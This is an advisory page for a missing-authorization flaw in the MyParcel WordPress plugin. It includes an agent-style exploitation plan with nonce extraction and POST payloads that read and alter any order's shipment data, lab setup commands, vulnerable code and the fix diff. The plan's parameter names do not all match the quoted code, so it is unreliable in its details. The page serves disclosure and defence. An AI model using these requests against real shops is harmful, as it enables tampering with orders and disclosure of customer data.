MyParcel <= 4.25.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Order Shipment Data Disclosure and Modification via wcmp_get_shipment_options and wcmp_save_shipment_options AJAX Actions
Description
The MyParcel plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.25.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to view and modify shipment options — including carrier, delivery type, package type, number of labels, weight, signature requirement, and insurance — on any arbitrary order.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.25.1What Changed in the Fix
Changes introduced in v4.25.2
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-8678 ## 1. Vulnerability Summary The MyParcel plugin (woocommerce-myparcel) for WordPress is vulnerable to a Missing Authorization flaw in its AJAX handlers. Specifically, the functions `ajaxGetShipmentOptions` and `save_shipment_options_ajax` (registered via…
Show full research plan
Exploitation Research Plan - CVE-2026-8678
1. Vulnerability Summary
The MyParcel plugin (woocommerce-myparcel) for WordPress is vulnerable to a Missing Authorization flaw in its AJAX handlers. Specifically, the functions ajaxGetShipmentOptions and save_shipment_options_ajax (registered via the wcmp_get_shipment_options and wcmp_save_shipment_options actions) fail to implement capability checks (e.g., current_user_can('manage_woocommerce')).
While these actions are registered using the wp_ajax_ prefix (requiring authentication), they do not verify if the authenticated user has administrative privileges or if the requested order belongs to them. This allows any authenticated user, including those with the Subscriber role, to view and modify shipment metadata for any WooCommerce order on the site.
2. Attack Vector Analysis
- Endpoints:
/wp-admin/admin-ajax.php - Actions:
wcmp_get_shipment_options(Data Disclosure)wcmp_save_shipment_options(Data Modification)
- Authentication: Authenticated (Subscriber or higher).
- Preconditions:
- The attacker must have a valid login.
- At least one WooCommerce order must exist in the system.
- The plugin must be active.
3. Code Flow
- Registration: In
includes/admin/class-wcmypa-admin.php, the__construct()method registers the AJAX hooks:add_action("wp_ajax_wcmp_save_shipment_options", [$this, "save_shipment_options_ajax"]); add_action("wp_ajax_wcmp_get_shipment_options", [$this, "ajaxGetShipmentOptions"]); - Execution (Disclosure): When
wcmp_get_shipment_optionsis called:ajaxGetShipmentOptions()is invoked.- It retrieves the
order_idfrom the request. - It fetches the order via
WCX::get_order($order_id). - It returns the shipment settings stored in order meta (e.g.,
_myparcel_delivery_options) without checking if the current user has theedit_shop_orderscapability.
- Execution (Modification): When
wcmp_save_shipment_optionsis called:save_shipment_options_ajax()is invoked.- It retrieves the
order_idand themyparcel_optionsarray. - It updates the order meta using
WCX_Order::update_meta_data()or similar, again without a capability check.
4. Nonce Acquisition Strategy
The plugin uses a nonce for its AJAX actions, registered with the action string constant WCMYPA::NONCE_ACTION.
According to includes/class-wcmp-assets.php, this nonce is localized for all admin pages, including those accessible to Subscribers (like profile.php).
- Identify the variable: The plugin enqueues a script
wcmp-admin-all-pageswhich localizes a global object namedwcmp_params. - Procedure:
- Log in as a Subscriber.
- Navigate to
/wp-admin/profile.php. - Use
browser_evalto extract the nonce:window.wcmp_params?.nonce - The constant
WCMYPA::NONCE_ACTIONis the expected action string.
5. Exploitation Strategy
Step 1: Disclosure of Order Shipment Data
Tool: http_request
Method: POST
URL: http://localhost:8080/wp-admin/admin-ajax.php
Headers: Content-Type: application/x-www-form-urlencoded
Body:
action=wcmp_get_shipment_options&order_id=[TARGET_ORDER_ID]&security=[NONCE]
Note: If the nonce is required via GET, append it to the URL.
Step 2: Modification of Shipment Data
Tool: http_request
Method: POST
URL: http://localhost:8080/wp-admin/admin-ajax.php
Headers: Content-Type: application/x-www-form-urlencoded
Body:
action=wcmp_save_shipment_options&order_id=[TARGET_ORDER_ID]&security=[NONCE]&myparcel_options[package_type]=1&myparcel_options[insurance]=50000&myparcel_options[signature]=1
This payload attempts to set the package type, increase insurance to 500 EUR (stored in cents), and require a signature.
6. Test Data Setup
- Create Order: Create a WooCommerce order using WP-CLI as Admin.
wp eval '$order = wc_create_order(); $order->set_billing_first_name("Victim"); $order->save(); echo $order->get_id();' - Create Attacker: Create a user with the
subscriberrole.wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Plugin Config: Ensure the MyParcel plugin is active and an API key (even a dummy one) is saved if required for the UI to render the nonce.
7. Expected Results
- Disclosure: The response should be a JSON object containing keys like
package_type,delivery_type, andshipment_optionsfor an order that the Subscriber does not own. - Modification: The response should indicate success (likely a JSON
trueor{"success": true}). The database meta for that order will be updated.
8. Verification Steps
After performing the wcmp_save_shipment_options request, verify the change via WP-CLI:
# Check the meta data associated with MyParcel for the target order
wp post meta list [TARGET_ORDER_ID] --keys=_myparcel_delivery_options
Check if the values injected in the payload (e.g., insurance or signature) are now present in the meta-value.
9. Alternative Approaches
If the wcmp_params object is not found on profile.php, check if the Subscriber can access the Dashboard (/wp-admin/index.php). Some versions of the plugin may only enqueue the main wcmp-admin script on specific WooCommerce pages; however, the class-wcmp-assets.php source shows enqueueAdminScriptsForAllPages which should ensure availability on any admin page the Subscriber can reach.
Summary
The MyParcel plugin for WordPress is vulnerable to authorization bypass due to missing capability checks in its AJAX handlers. This allows authenticated users with Subscriber-level access to view and modify shipment options (such as insurance, delivery type, and package details) for any WooCommerce order on the site.
Vulnerable Code
// includes/admin/class-wcmypa-admin.php lines 142-143 add_action("wp_ajax_wcmp_save_shipment_options", [$this, "save_shipment_options_ajax"]); add_action("wp_ajax_wcmp_get_shipment_options", [$this, "ajaxGetShipmentOptions"]); --- // includes/admin/class-wcmypa-admin.php line 652 public function ajaxGetShipmentOptions(): void { // Order is used in views/html-order-shipment-options.php $order = wc_get_order((int) filter_input(INPUT_POST, 'orderId')); --- // includes/admin/class-wcmypa-admin.php line 871 public function save_shipment_options_ajax(): void { $post = wp_unslash(filter_input_array(INPUT_POST)); parse_str($post['form_data'], $form_data);
Security Fix
@@ -1,6 +1,6 @@ { "name": "myparcelnl/woocommerce", - "version": "4.25.1", + "version": "4.25.2", "require": { "myparcelnl/sdk": "^7.16.1" }, @@ -683,30 +683,11 @@ */ public function export() { - // Check the nonce - if (! check_ajax_referer(WCMYPA::NONCE_ACTION, '_wpnonce', false)) { - die("Ajax security check failed. Did you pass a valid nonce in $_REQUEST['_wpnonce']?"); - } - - if (! is_user_logged_in()) { - wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'woocommerce-myparcel')); - } + // Verify the nonce and that the current user may manage shop orders. + WCMYPA_Admin::denyUnauthorizedAjaxRequest('_wpnonce'); $return = []; - // Check the user privileges (maybe use order ids for filter?) - if (apply_filters( - 'wc_myparcel_check_privs', - ! current_user_can('manage_woocommerce_orders') && ! current_user_can('edit_shop_orders') - )) { - $return['error'] = __( - 'You do not have sufficient permissions to access this page.', - 'woocommerce-myparcel' - ); - echo wp_json_encode($return); - die(); - } - $requestVars = array_merge( filter_input_array(INPUT_GET) ?? [], filter_input_array(INPUT_POST) ?? [] @@ -500,7 +503,7 @@ */ public function order_list_ajax_get_shipment_summary(): void { - check_ajax_referer(WCMYPA::NONCE_ACTION, 'security'); + self::denyUnauthorizedAjaxRequest(); include('views/html-order-shipment-summary.php'); die(); @@ -652,6 +655,8 @@ */ public function ajaxGetShipmentOptions(): void { + self::denyUnauthorizedAjaxRequest(); + // Order is used in views/html-order-shipment-options.php $order = wc_get_order((int) filter_input(INPUT_POST, 'orderId')); @@ -864,6 +869,30 @@ } /** + * Blocks admin AJAX requests that fail the nonce (CSRF) or capability check, + * sending a 403 JSON response. The capability check is filterable via + * `wc_myparcel_check_privs`. + * + * @param string $nonceField $_REQUEST key holding the nonce (`security`, or `_wpnonce` for export). + */ + public static function denyUnauthorizedAjaxRequest(string $nonceField = 'security'): void + { + if (! check_ajax_referer(WCMYPA::NONCE_ACTION, $nonceField, false)) { + wp_send_json_error(['message' => 'Invalid security token.'], 403); + } + + $userCannotManageOrders = ! current_user_can('manage_woocommerce_orders') + && ! current_user_can('edit_shop_orders'); + + if (apply_filters('wc_myparcel_check_privs', $userCannotManageOrders)) { + wp_send_json_error( + ['message' => __('You do not have sufficient permissions to access this page.', 'woocommerce-myparcel')], + 403 + ); + } + } + + /** * On saving shipment options from the bulk options form. * * @throws Exception @@ -871,6 +900,8 @@ */ public function save_shipment_options_ajax(): void { + self::denyUnauthorizedAjaxRequest(); + $post = wp_unslash(filter_input_array(INPUT_POST)); parse_str($post['form_data'], $form_data);
Exploit Outline
The exploit targets two AJAX actions: `wcmp_get_shipment_options` (for data disclosure) and `wcmp_save_shipment_options` (for data modification). An attacker first logs in with a Subscriber-level account and retrieves a valid security nonce from the global `wcmp_params` object localized on admin pages (e.g., /wp-admin/profile.php). To disclose data, the attacker sends a POST request to `admin-ajax.php` with the target `order_id` and the `wcmp_get_shipment_options` action. To modify data, the attacker sends a POST request with the `wcmp_save_shipment_options` action and a `myparcel_options` array containing arbitrary values for shipment metadata (like insurance or signature requirements). Because the plugin lacks capability checks, it executes these actions for any authenticated user on any valid order ID.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.